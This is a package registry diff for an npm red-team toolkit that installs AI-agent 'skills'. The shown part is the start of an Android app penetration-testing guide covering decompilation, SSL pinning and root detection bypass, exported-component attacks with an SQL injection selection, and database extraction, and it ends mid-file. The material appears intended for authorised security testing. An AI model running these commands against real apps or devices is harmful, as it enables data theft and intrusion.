rtexit-method 0.1.0 → 0.1.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +9 -7
- package/packaged-assets/.agents/skills/rt-active-recon/SKILL.md +767 -0
- package/packaged-assets/.agents/skills/rt-active-recon/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/customize.toml +76 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/customize.toml +67 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/customize.toml +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/SKILL.md +476 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/SKILL.md +1209 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/template.md +62 -0
- package/packaged-assets/.agents/skills/rt-autodoc/SKILL.md +258 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/SKILL.md +1072 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-compliance-mapper/SKILL.md +773 -0
- package/packaged-assets/.agents/skills/rt-create-sead/SKILL.md +74 -0
- package/packaged-assets/.agents/skills/rt-create-sead/template.md +89 -0
- package/packaged-assets/.agents/skills/rt-create-sead/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-credential-access/SKILL.md +756 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/SKILL.md +856 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/SKILL.md +542 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/cvss4-matrix.csv +20 -0
- package/packaged-assets/.agents/skills/rt-data-exfiltration/SKILL.md +784 -0
- package/packaged-assets/.agents/skills/rt-defense-evasion/SKILL.md +987 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/SKILL.md +712 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/template.md +31 -0
- package/packaged-assets/.agents/skills/rt-executive-report/SKILL.md +718 -0
- package/packaged-assets/.agents/skills/rt-executive-report/template.md +38 -0
- package/packaged-assets/.agents/skills/rt-executive-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/SKILL.md +1078 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/ad-checklist.csv +12 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/SKILL.md +1329 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/masvs-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/SKILL.md +1547 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/SKILL.md +1949 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-bec/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/SKILL.md +865 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-azure/SKILL.md +1258 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-gcp/SKILL.md +981 -0
- package/packaged-assets/.agents/skills/rt-exploit-containers/SKILL.md +55 -0
- package/packaged-assets/.agents/skills/rt-exploit-databases/SKILL.md +1374 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-mac/SKILL.md +834 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/SKILL.md +903 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-dotnet/SKILL.md +945 -0
- package/packaged-assets/.agents/skills/rt-exploit-elasticsearch/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/SKILL.md +1023 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/SKILL.md +1576 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/payloads/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-firebase/SKILL.md +54 -0
- package/packaged-assets/.agents/skills/rt-exploit-frameworks/SKILL.md +967 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/SKILL.md +1693 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/SKILL.md +1860 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/payloads/sqlmap-tampers.txt +22 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/SKILL.md +1214 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/SKILL.md +91 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-java/SKILL.md +1009 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/SKILL.md +1327 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-mongodb/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-mssql/SKILL.md +52 -0
- package/packaged-assets/.agents/skills/rt-exploit-mysql/SKILL.md +53 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/SKILL.md +118 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-nodejs/SKILL.md +852 -0
- package/packaged-assets/.agents/skills/rt-exploit-osticket/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/SKILL.md +173 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/templates/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-php/SKILL.md +1119 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-postgresql/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-python/SKILL.md +986 -0
- package/packaged-assets/.agents/skills/rt-exploit-redis/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ruby/SKILL.md +61 -0
- package/packaged-assets/.agents/skills/rt-exploit-scada/SKILL.md +1091 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/SKILL.md +1528 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/payloads.txt +23 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/SKILL.md +121 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/scripts.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/SKILL.md +1902 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/owasp-checklist.csv +14 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-wireless/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/SKILL.md +1565 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/cves.csv +7 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/SKILL.md +1526 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/payloads.txt +18 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-document/SKILL.md +687 -0
- package/packaged-assets/.agents/skills/rt-finding-document/template.md +71 -0
- package/packaged-assets/.agents/skills/rt-finding-document/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/SKILL.md +216 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-help/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-help/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/SKILL.md +639 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/patterns.txt +27 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-kill-chain-map/SKILL.md +393 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/SKILL.md +1032 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/frameworks.csv +10 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/SKILL.md +668 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/tactics.csv +16 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-osint/SKILL.md +775 -0
- package/packaged-assets/.agents/skills/rt-osint/osint-sources.csv +12 -0
- package/packaged-assets/.agents/skills/rt-osint/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-party-mode/SKILL.md +249 -0
- package/packaged-assets/.agents/skills/rt-party-mode/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-persistence/SKILL.md +1146 -0
- package/packaged-assets/.agents/skills/rt-persistence/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-poc-writer/SKILL.md +640 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/SKILL.md +998 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/windows-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/SKILL.md +1027 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/win-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/SKILL.md +665 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/template.md +28 -0
- package/packaged-assets/.agents/skills/rt-risk-matrix/SKILL.md +232 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-scenario-c001/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c002/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-scenario-c003/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c004/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c005/SKILL.md +72 -0
- package/packaged-assets/.agents/skills/rt-scenario-d001/SKILL.md +378 -0
- package/packaged-assets/.agents/skills/rt-scenario-d002/SKILL.md +392 -0
- package/packaged-assets/.agents/skills/rt-scenario-d003/SKILL.md +522 -0
- package/packaged-assets/.agents/skills/rt-scenario-d004/SKILL.md +373 -0
- package/packaged-assets/.agents/skills/rt-scenario-d005/SKILL.md +458 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/scenarios.csv +32 -0
- package/packaged-assets/.agents/skills/rt-scenario-m001/SKILL.md +796 -0
- package/packaged-assets/.agents/skills/rt-scenario-m002/SKILL.md +723 -0
- package/packaged-assets/.agents/skills/rt-scenario-m003/SKILL.md +463 -0
- package/packaged-assets/.agents/skills/rt-scenario-m004/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-m005/SKILL.md +505 -0
- package/packaged-assets/.agents/skills/rt-scenario-n001/SKILL.md +573 -0
- package/packaged-assets/.agents/skills/rt-scenario-n002/SKILL.md +112 -0
- package/packaged-assets/.agents/skills/rt-scenario-n003/SKILL.md +100 -0
- package/packaged-assets/.agents/skills/rt-scenario-n004/SKILL.md +90 -0
- package/packaged-assets/.agents/skills/rt-scenario-n005/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-w001/SKILL.md +635 -0
- package/packaged-assets/.agents/skills/rt-scenario-w002/SKILL.md +612 -0
- package/packaged-assets/.agents/skills/rt-scenario-w003/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-w004/SKILL.md +648 -0
- package/packaged-assets/.agents/skills/rt-scenario-w005/SKILL.md +479 -0
- package/packaged-assets/.agents/skills/rt-scenario-w006/SKILL.md +443 -0
- package/packaged-assets/.agents/skills/rt-scenario-w007/SKILL.md +494 -0
- package/packaged-assets/.agents/skills/rt-scenario-w008/SKILL.md +576 -0
- package/packaged-assets/.agents/skills/rt-scenario-w009/SKILL.md +518 -0
- package/packaged-assets/.agents/skills/rt-scenario-w010/SKILL.md +574 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/SKILL.md +79 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-shodan-recon/SKILL.md +880 -0
- package/packaged-assets/.agents/skills/rt-status/SKILL.md +64 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/SKILL.md +906 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-technical-report/SKILL.md +710 -0
- package/packaged-assets/.agents/skills/rt-technical-report/template.md +41 -0
- package/packaged-assets/.agents/skills/rt-technical-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-threat-model/SKILL.md +59 -0
- package/packaged-assets/.agents/skills/rt-threat-model/template.md +32 -0
- package/packaged-assets/.agents/skills/rt-threat-model/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-timeline/SKILL.md +338 -0
- package/packaged-assets/RTEXIT.md +127 -0
- package/tools/installer/commands/install.js +0 -1
- package/tools/installer/lib/asset-manifest.js +10 -5
- package/tools/installer/lib/banner.js +14 -6
- package/tools/installer/lib/copy-assets.js +5 -2
- package/tools/installer/lib/prompts.js +1 -11
- package/tools/installer/lib/write-config.js +8 -2
- /package/{_rtexit → packaged-assets/_rtexit}/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/config.user.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/custom/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/autodoc_engine.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/finding_tracker.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_config.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_customization.py +0 -0
- /package/{resources → packaged-assets/resources}/certifications.md +0 -0
- /package/{resources → packaged-assets/resources}/payloads.md +0 -0
- /package/{resources → packaged-assets/resources}/tools.md +0 -0
- /package/{resources → packaged-assets/resources}/wordlists.md +0 -0
- /package/{templates → packaged-assets/templates}/attack-chain-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report.md +0 -0
- /package/{templates → packaged-assets/templates}/finding-template.md +0 -0
- /package/{templates → packaged-assets/templates}/remediation-roadmap.md +0 -0
- /package/{templates → packaged-assets/templates}/sead-template.md +0 -0
- /package/{templates → packaged-assets/templates}/technical-report.md +0 -0
|
@@ -0,0 +1,1329 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-exploit-android
|
|
3
|
+
description: "Android application security testing skill (OWASP MASVS full). Covers APK extraction and decompilation with apktool/jadx, dynamic analysis with Frida and Objection, SSL pinning bypass, root detection bypass, exported components exploitation, insecure data storage extraction (SharedPreferences, SQLite, files), network traffic analysis, and MASVS checklist. Tools: adb, apktool, jadx, frida, objection, MobSF, Drozer."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-exploit-android — Android Application Security Testing
|
|
7
|
+
|
|
8
|
+
## 1. Overview and When to Use
|
|
9
|
+
|
|
10
|
+
This skill covers end-to-end Android application penetration testing aligned with OWASP MASVS (Mobile Application Security Verification Standard). Use it when:
|
|
11
|
+
|
|
12
|
+
- A target organization has an Android app in scope (APK from Play Store, private beta, or enterprise MDM)
|
|
13
|
+
- You need to assess client-side controls: certificate pinning, root detection, data storage, exported components
|
|
14
|
+
- You are performing threat modeling for a mobile-first product
|
|
15
|
+
- The engagement includes API testing and the mobile client is the primary API consumer
|
|
16
|
+
|
|
17
|
+
**Scope of coverage:**
|
|
18
|
+
- Static analysis: APK unpacking, manifest review, source code review
|
|
19
|
+
- Dynamic analysis: runtime instrumentation with Frida/Objection, traffic interception
|
|
20
|
+
- Data storage analysis: SharedPreferences, SQLite, external storage, KeyStore
|
|
21
|
+
- Component security: exported Activities, Services, BroadcastReceivers, ContentProviders
|
|
22
|
+
- Network security: SSL pinning bypass, certificate validation weaknesses
|
|
23
|
+
- Anti-tampering bypass: root detection, emulator detection, integrity checks
|
|
24
|
+
|
|
25
|
+
---
|
|
26
|
+
|
|
27
|
+
## 2. Prerequisites and Setup
|
|
28
|
+
|
|
29
|
+
### 2.1 Hardware / Environment
|
|
30
|
+
|
|
31
|
+
- Rooted Android device (physical preferred) OR Android emulator with root (AVD with Google APIs image, or Genymotion)
|
|
32
|
+
- USB debugging enabled on device (`adb devices` must show the device)
|
|
33
|
+
- Test machine running Linux or Windows with WSL2
|
|
34
|
+
|
|
35
|
+
### 2.2 Tool Installation
|
|
36
|
+
|
|
37
|
+
#### adb (Android Debug Bridge)
|
|
38
|
+
```bash
|
|
39
|
+
# Ubuntu/Debian
|
|
40
|
+
sudo apt install adb
|
|
41
|
+
|
|
42
|
+
# macOS
|
|
43
|
+
brew install android-platform-tools
|
|
44
|
+
|
|
45
|
+
# Windows (via Chocolatey)
|
|
46
|
+
choco install adb
|
|
47
|
+
|
|
48
|
+
# Verify
|
|
49
|
+
adb version
|
|
50
|
+
adb devices
|
|
51
|
+
```
|
|
52
|
+
|
|
53
|
+
#### apktool
|
|
54
|
+
```bash
|
|
55
|
+
# Download latest jar from https://apktool.org
|
|
56
|
+
wget https://github.com/iBotPeaches/Apktool/releases/download/v2.9.3/apktool_2.9.3.jar -O apktool.jar
|
|
57
|
+
wget https://raw.githubusercontent.com/iBotPeaches/Apktool/master/scripts/linux/apktool -O apktool
|
|
58
|
+
chmod +x apktool
|
|
59
|
+
sudo mv apktool /usr/local/bin/
|
|
60
|
+
sudo mv apktool.jar /usr/local/bin/
|
|
61
|
+
|
|
62
|
+
apktool --version
|
|
63
|
+
```
|
|
64
|
+
|
|
65
|
+
#### jadx (Java Decompiler)
|
|
66
|
+
```bash
|
|
67
|
+
# Download from https://github.com/skylot/jadx/releases
|
|
68
|
+
wget https://github.com/skylot/jadx/releases/download/v1.5.0/jadx-1.5.0.zip
|
|
69
|
+
unzip jadx-1.5.0.zip -d jadx
|
|
70
|
+
sudo ln -s $(pwd)/jadx/bin/jadx /usr/local/bin/jadx
|
|
71
|
+
sudo ln -s $(pwd)/jadx/bin/jadx-gui /usr/local/bin/jadx-gui
|
|
72
|
+
|
|
73
|
+
jadx --version
|
|
74
|
+
```
|
|
75
|
+
|
|
76
|
+
#### Frida
|
|
77
|
+
```bash
|
|
78
|
+
# Install frida-tools on test machine
|
|
79
|
+
pip3 install frida-tools
|
|
80
|
+
|
|
81
|
+
# Install frida-server on device (match version to frida-tools)
|
|
82
|
+
frida --version # e.g., 16.2.1
|
|
83
|
+
|
|
84
|
+
# Download matching frida-server for arm64 (most modern devices)
|
|
85
|
+
wget https://github.com/frida/frida/releases/download/16.2.1/frida-server-16.2.1-android-arm64.xz
|
|
86
|
+
xz -d frida-server-16.2.1-android-arm64.xz
|
|
87
|
+
|
|
88
|
+
# Push and start on device
|
|
89
|
+
adb push frida-server-16.2.1-android-arm64 /data/local/tmp/frida-server
|
|
90
|
+
adb shell chmod 755 /data/local/tmp/frida-server
|
|
91
|
+
adb shell /data/local/tmp/frida-server &
|
|
92
|
+
|
|
93
|
+
# Verify
|
|
94
|
+
frida-ps -U
|
|
95
|
+
```
|
|
96
|
+
|
|
97
|
+
#### Objection
|
|
98
|
+
```bash
|
|
99
|
+
pip3 install objection
|
|
100
|
+
objection --help
|
|
101
|
+
```
|
|
102
|
+
|
|
103
|
+
#### MobSF (Mobile Security Framework)
|
|
104
|
+
```bash
|
|
105
|
+
# Docker (recommended)
|
|
106
|
+
docker pull opensecurity/mobile-security-framework-mobsf:latest
|
|
107
|
+
docker run -it --rm -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
|
|
108
|
+
|
|
109
|
+
# Access at http://localhost:8000
|
|
110
|
+
```
|
|
111
|
+
|
|
112
|
+
#### Drozer
|
|
113
|
+
```bash
|
|
114
|
+
pip3 install drozer
|
|
115
|
+
|
|
116
|
+
# Install drozer agent APK on device
|
|
117
|
+
wget https://github.com/WithSecureLabs/drozer/releases/download/2.4.4/drozer-agent-2.4.4.apk
|
|
118
|
+
adb install drozer-agent-2.4.4.apk
|
|
119
|
+
|
|
120
|
+
# Forward port
|
|
121
|
+
adb forward tcp:31415 tcp:31415
|
|
122
|
+
|
|
123
|
+
# Connect
|
|
124
|
+
drozer console connect
|
|
125
|
+
```
|
|
126
|
+
|
|
127
|
+
### 2.3 Environment Checks
|
|
128
|
+
```bash
|
|
129
|
+
# Confirm ADB sees device
|
|
130
|
+
adb devices
|
|
131
|
+
|
|
132
|
+
# Confirm root access
|
|
133
|
+
adb shell su -c 'id'
|
|
134
|
+
|
|
135
|
+
# Confirm frida-server is running
|
|
136
|
+
frida-ps -U | head -20
|
|
137
|
+
|
|
138
|
+
# Confirm USB debugging and target app is installed
|
|
139
|
+
adb shell pm list packages | grep <target>
|
|
140
|
+
```
|
|
141
|
+
|
|
142
|
+
---
|
|
143
|
+
|
|
144
|
+
## 3. Skill Levels
|
|
145
|
+
|
|
146
|
+
### BEGINNER — Static Reconnaissance
|
|
147
|
+
|
|
148
|
+
Focus: APK extraction, manifest review, string hunting
|
|
149
|
+
|
|
150
|
+
```bash
|
|
151
|
+
# Pull APK from device (app must be installed)
|
|
152
|
+
adb shell pm path com.target.app
|
|
153
|
+
# Output: package:/data/app/com.target.app-1/base.apk
|
|
154
|
+
adb pull /data/app/com.target.app-1/base.apk target.apk
|
|
155
|
+
|
|
156
|
+
# Decode with apktool (resources + smali)
|
|
157
|
+
apktool d target.apk -o target_decoded
|
|
158
|
+
|
|
159
|
+
# Review AndroidManifest.xml
|
|
160
|
+
cat target_decoded/AndroidManifest.xml
|
|
161
|
+
|
|
162
|
+
# Find exported components (android:exported="true")
|
|
163
|
+
grep -r 'exported="true"' target_decoded/AndroidManifest.xml
|
|
164
|
+
|
|
165
|
+
# Decompile to Java with jadx
|
|
166
|
+
jadx -d target_jadx target.apk
|
|
167
|
+
|
|
168
|
+
# Find hardcoded secrets
|
|
169
|
+
grep -rn "apikey\|api_key\|password\|secret\|token\|AWS\|Bearer" target_jadx/
|
|
170
|
+
|
|
171
|
+
# Find URLs and endpoints
|
|
172
|
+
grep -rn "http://\|https://" target_jadx/ | grep -v "schemas.android\|w3.org"
|
|
173
|
+
|
|
174
|
+
# Find Firebase config
|
|
175
|
+
grep -rn "firebaseio\|firebase" target_jadx/
|
|
176
|
+
|
|
177
|
+
# Check for debug flags
|
|
178
|
+
grep -rn "debuggable\|BuildConfig.DEBUG" target_jadx/
|
|
179
|
+
```
|
|
180
|
+
|
|
181
|
+
### INTERMEDIATE — Dynamic Analysis and Traffic Interception
|
|
182
|
+
|
|
183
|
+
Focus: Objection, Frida basics, Burp proxy, SSL bypass
|
|
184
|
+
|
|
185
|
+
```bash
|
|
186
|
+
# Launch app with objection attached
|
|
187
|
+
objection -g com.target.app explore
|
|
188
|
+
|
|
189
|
+
# Inside objection REPL:
|
|
190
|
+
# List activities
|
|
191
|
+
android hooking list activities
|
|
192
|
+
|
|
193
|
+
# Dump keystore
|
|
194
|
+
android keystore list
|
|
195
|
+
|
|
196
|
+
# List SharedPreferences files
|
|
197
|
+
android filesystem list /data/data/com.target.app/shared_prefs/
|
|
198
|
+
|
|
199
|
+
# Print SharedPreferences content
|
|
200
|
+
android filesystem get /data/data/com.target.app/shared_prefs/prefs.xml
|
|
201
|
+
|
|
202
|
+
# SSL pinning bypass (one-liner)
|
|
203
|
+
android sslpinning disable
|
|
204
|
+
|
|
205
|
+
# Root detection bypass
|
|
206
|
+
android root disable
|
|
207
|
+
|
|
208
|
+
# Dump memory strings
|
|
209
|
+
memory search --string "password"
|
|
210
|
+
|
|
211
|
+
# List loaded classes
|
|
212
|
+
android hooking list classes | grep -i ssl
|
|
213
|
+
|
|
214
|
+
# Hook a method
|
|
215
|
+
android hooking watch class_method com.target.app.network.ApiClient.getToken --dump-args --dump-return
|
|
216
|
+
|
|
217
|
+
# Configure Burp as proxy for device
|
|
218
|
+
# In Burp: Proxy > Options > Add listener on *:8080
|
|
219
|
+
adb shell settings put global http_proxy <LHOST>:8080
|
|
220
|
+
# Restore after session:
|
|
221
|
+
adb shell settings put global http_proxy :0
|
|
222
|
+
```
|
|
223
|
+
|
|
224
|
+
### ADVANCED — Custom Frida Scripts, Component Exploitation, Data Extraction
|
|
225
|
+
|
|
226
|
+
Focus: Custom instrumentation, Drozer component attacks, deep data extraction
|
|
227
|
+
|
|
228
|
+
```bash
|
|
229
|
+
# Hook class constructor to dump instantiation args
|
|
230
|
+
frida -U -l hook_constructor.js com.target.app
|
|
231
|
+
|
|
232
|
+
# Enumerate all exported activities via Drozer
|
|
233
|
+
drozer console connect
|
|
234
|
+
run app.activity.info -a com.target.app
|
|
235
|
+
run app.activity.start --component com.target.app com.target.app.ui.AdminActivity
|
|
236
|
+
|
|
237
|
+
# Enumerate exported content providers
|
|
238
|
+
run app.provider.info -a com.target.app
|
|
239
|
+
run app.provider.query content://com.target.app.provider/users
|
|
240
|
+
run app.provider.query content://com.target.app.provider/users --selection "1=1--"
|
|
241
|
+
|
|
242
|
+
# Enumerate exported services
|
|
243
|
+
run app.service.info -a com.target.app
|
|
244
|
+
|
|
245
|
+
# Enumerate exported broadcast receivers
|
|
246
|
+
run app.broadcast.info -a com.target.app
|
|
247
|
+
run app.broadcast.send --action com.target.app.RESET_PASSWORD --extra string email admin@target.com
|
|
248
|
+
|
|
249
|
+
# Extract SQLite databases
|
|
250
|
+
adb shell su -c "cp -r /data/data/com.target.app/databases /sdcard/db_dump"
|
|
251
|
+
adb pull /sdcard/db_dump ./db_dump
|
|
252
|
+
sqlite3 db_dump/app.db .dump
|
|
253
|
+
sqlite3 db_dump/app.db ".tables"
|
|
254
|
+
sqlite3 db_dump/app.db "SELECT * FROM users;"
|
|
255
|
+
|
|
256
|
+
# Extract all app data (root required)
|
|
257
|
+
adb shell su -c "tar -czf /sdcard/app_data.tar.gz /data/data/com.target.app"
|
|
258
|
+
adb pull /sdcard/app_data.tar.gz
|
|
259
|
+
tar -xzf app_data.tar.gz
|
|
260
|
+
|
|
261
|
+
# Check external storage for sensitive data
|
|
262
|
+
adb shell ls /sdcard/Android/data/com.target.app/
|
|
263
|
+
adb pull /sdcard/Android/data/com.target.app/
|
|
264
|
+
|
|
265
|
+
# Check log leakage
|
|
266
|
+
adb logcat | grep -i "com.target.app\|password\|token\|key"
|
|
267
|
+
```
|
|
268
|
+
|
|
269
|
+
### EXPERT — Anti-Analysis Bypass, Kernel-Level Hooks, Custom APK Patching
|
|
270
|
+
|
|
271
|
+
Focus: Patching APK for debug, bypassing advanced root detection, multi-dex apps
|
|
272
|
+
|
|
273
|
+
```bash
|
|
274
|
+
# Patch APK to set android:debuggable="true"
|
|
275
|
+
apktool d target.apk -o patched
|
|
276
|
+
# Edit patched/AndroidManifest.xml: add android:debuggable="true" to <application>
|
|
277
|
+
sed -i 's/<application /<application android:debuggable="true" /' patched/AndroidManifest.xml
|
|
278
|
+
apktool b patched -o patched.apk
|
|
279
|
+
|
|
280
|
+
# Re-sign patched APK
|
|
281
|
+
